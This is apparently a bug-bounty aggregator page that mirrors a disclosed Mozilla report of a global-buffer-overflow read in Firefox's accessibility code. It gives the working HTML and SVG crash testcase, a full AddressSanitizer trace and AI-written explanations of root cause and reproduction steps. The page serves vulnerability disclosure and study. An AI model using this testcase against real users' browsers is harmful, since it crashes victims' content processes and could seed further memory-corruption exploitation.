Skip to content
Memory corruption Disclosed report Advanced

global-buffer-overflow in mozilla::a11y::DocAccessible::UncacheChildrenInSubtree

A crafted HTML page combined with an SVG file triggers a global-buffer-overflow read in Firefox's accessibility code when the document tree is manipulated during frame removal. An attacker could crash the browser's content process by getting a victim to load the page.

Nils Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 42 days
  • Paid in 40 days
  • Disclosed after 42 days

The following testcase crashes the latest ASAN build of Firefox (buildId 20160605030215).

Testcase (consists of two files, load crash.html in browser with svg.svg in the same path):

crash.html:

<script> function start() { o2=document.createRange(); o22=document.createElement('frameset'); o41=document.createElement('frameset'); o67=document.createElement('meta'); o112=document.createElement('frame'); o153=document.createElement('frame'); o168=document.createElement('input'); o41.appendChild(o112); o22.appendChild(o153); o112['replaceWith'](null,-5,4,o168); o234=document.createElement('iframe'); o234.addEventListener('load', f2,false); window.top.document.body=o22; o265=document.createElement('iframe'); o67.appendChild(o265); window.top.setTimeout(f0, 4); } function f0() { o2.setStartBefore(o265); o2.insertNode(o153); o2.surroundContents(o234); o373=document.createElement('frame'); o373.src='svg.svg'; o524=document.createElement('frameset'); o524.appendChild(o373); window.top.document.body=o524; } function f1(o625) { try{while(window.top.document.removeChild(window.top.document.firstChild));}catch(e) {} o797=window.top.document.implementation.createHTMLDocument(); o797.body.appendChild(o625); o797.body.appendChild(o234); window.top.document.appendChild(o797.documentElement); } function f2() { o168.appendChild(o153); window.top.document.body=o41; o41.setAttribute('rows','*,*,1638400%,3072%,*,512%,32755%,*,*,125829120%,*,*,5,1,'); } </script> <body onload="start()"></body>

svg.svg:

<?xml version="1.0" ?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd"> <svg xmlns="http://www.w3.org/2000/svg" onload="window.top.f1(this);"> <g> <animateTransform attributeName="transform" type="rotate" values="0 150 100; 360 150 100" begin="0s" dur="0.01s" /> </g> </svg>

================================================================= ==13288==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f5e61f13ba8 at pc 0x7f5e5c38306e bp 0x7ffe83c02900 sp 0x7ffe83c028f8 READ of size 8 at 0x7f5e61f13ba8 thread T0 (Web Content) #0 0x7f5e5c38306d in ContentChildAt /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/Accessible.h:471 #1 0x7f5e5c38306d in mozilla::a11y::DocAccessible::UncacheChildrenInSubtree(mozilla::a11y::Accessible*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/DocAccessible.cpp:2200 #2 0x7f5e5c382d7e in mozilla::a11y::DocAccessible::UpdateTreeOnRemoval(mozilla::a11y::Accessible*, nsIContent*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/DocAccessible.cpp:1887 #3 0x7f5e5c327b54 in Parent /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/DocAccessible.h:350 #4 0x7f5e5c327b54 in nsAccessibilityService::ContentRemoved(nsIPresShell*, nsIContent*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/base/nsAccessibilityService.cpp:607 #5 0x7f5e5b3086b9 in nsCSSFrameConstructor::ContentRemoved(nsIContent*, nsIContent*, nsIContent*, nsCSSFrameConstructor::RemoveFlags, bool*, nsIContent**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsCSSFrameConstructor.cpp:8321 #6 0x7f5e5b2f7171 in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsCSSFrameConstructor.cpp:9575 #7 0x7f5e5b26fa2f in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/RestyleManager.cpp:834 #8 0x7f5e5b29fb2f in ProcessOneRestyle /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/RestyleTracker.cpp:102 #9 0x7f5e5b29fb2f in mozilla::RestyleTracker::DoProcessRestyles() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/RestyleTracker.cpp:262 #10 0x7f5e5b277c19 in ProcessRestyles /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/RestyleManager.h:536 #11 0x7f5e5b277c19 in mozilla::RestyleManager::ProcessPendingRestyles() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/RestyleManager.cpp:1804 #12 0x7f5e5b4af267 in operator-> /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:74 #13 0x7f5e5b4af267 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsPresShell.cpp:4091 #14 0x7f5e5b1dcaa3 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsRefreshDriver.cpp:1742 #15 0x7f5e5b1e3bf3 in DoTick /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsRefreshDriver.cpp:1387 #16 0x7f5e5b1e3bf3 in DoRefresh /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsRefreshDriver.cpp:2140 #17 0x7f5e5b1e3bf3 in nsRefreshDriver::FinishedWaitingForTransaction() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsRefreshDriver.cpp:1992 #18 0x7f5e568ec9e7 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/layers/client/ClientLayerManager.cpp:425 #19 0x7f5e5a50215f in mozilla::dom::TabChild::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/ipc/TabChild.cpp:3000 #20 0x7f5e569e76af in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:418 #21 0x7f5e55b28291 in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1235 #22 0x7f5e5531aea3 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessageChannel.cpp:1657 #23 0x7f5e55317bfa in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessageChannel.cpp:1595 #24 0x7f5e55304d25 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessageChannel.cpp:1562 #25 0x7f5e5532ad50 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:715 #26 0x7f5e5532ad50 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:721 #27 0x7f5e5532ad50 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::)(), false, true>::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:749 #28 0x7f5e5532b81f in Run /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:477 #29 0x7f5e5532b81f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:496 #30 0x7f5e54588184 in nsThread::ProcessNextEvent(bool, bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:1029 #31 0x7f5e54602e0a in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290 #32 0x7f5e553223ce in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessagePump.cpp:100 #33 0x7f5e5529297c in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #34 0x7f5e5529297c in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #35 0x7f5e5529297c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #36 0x7f5e5ab5c3f7 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/widget/nsBaseAppShell.cpp:156 #37 0x7f5e5cb8c352 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:827 #38 0x7f5e5529297c in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #39 0x7f5e5529297c in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #40 0x7f5e5529297c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #41 0x7f5e5cb8ba30 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:657 #42 0x48dbf7 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:231 #43 0x7f5e51dcc82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #44 0x48cb3c in _start (/home/nils/fuzzer3/firefox/plugin-container+0x48cb3c)

0x7f5e61f13ba8 is located 0 bytes to the right of global variable 'nsTArrayHeader::sEmptyHdr' from '/builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/xpcom/build/Unified_cpp_xpcom_build1.cpp' (0x7f5e61f13ba0) of size 8 SUMMARY: AddressSanitizer: global-buffer-overflow /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/Accessible.h:471 ContentChildAt Shadow bytes around the buggy address: 0x0fec4c3da720: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9 0x0fec4c3da730: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fec4c3da740: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fec4c3da750: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fec4c3da760: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 =>0x0fec4c3da770: f9 f9 f9 f9 00[f9]f9 f9 f9 f9 f9 f9 00 00 00 00 0x0fec4c3da780: 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fec4c3da790: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9 0x0fec4c3da7a0: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fec4c3da7b0: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fec4c3da7c0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Contiguous container OOB:fc ASan internal: fe ==13288==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the accessibility tree's child array was accessed out of bounds during subtree uncaching because the DOM was mutated in an unexpected order while frames were being recreated.

Impact

The content process aborts, so the page crashes the tab; the report shows only a read overflow, not code execution.

What the attacker needed

Victim loads a crafted page; SVG file served alongside

How it was found

  1. Place the HTML file and the SVG file in the same directory.
  2. Open the HTML file in the browser so it loads the SVG.
  3. The page scripts rearrange frames and iframes, and the SVG's onload handler moves nodes into a new document.
  4. The accessibility code processes the resulting frame removals and reads out of bounds, crashing the content process.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Firefox keeps a parallel 'accessibility tree' describing the page for screen readers. When parts of the page are removed, code walks that tree; here it read past the end of a small global array, which the memory checker flagged. The result is a crash of the tab's process, not a way to run code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.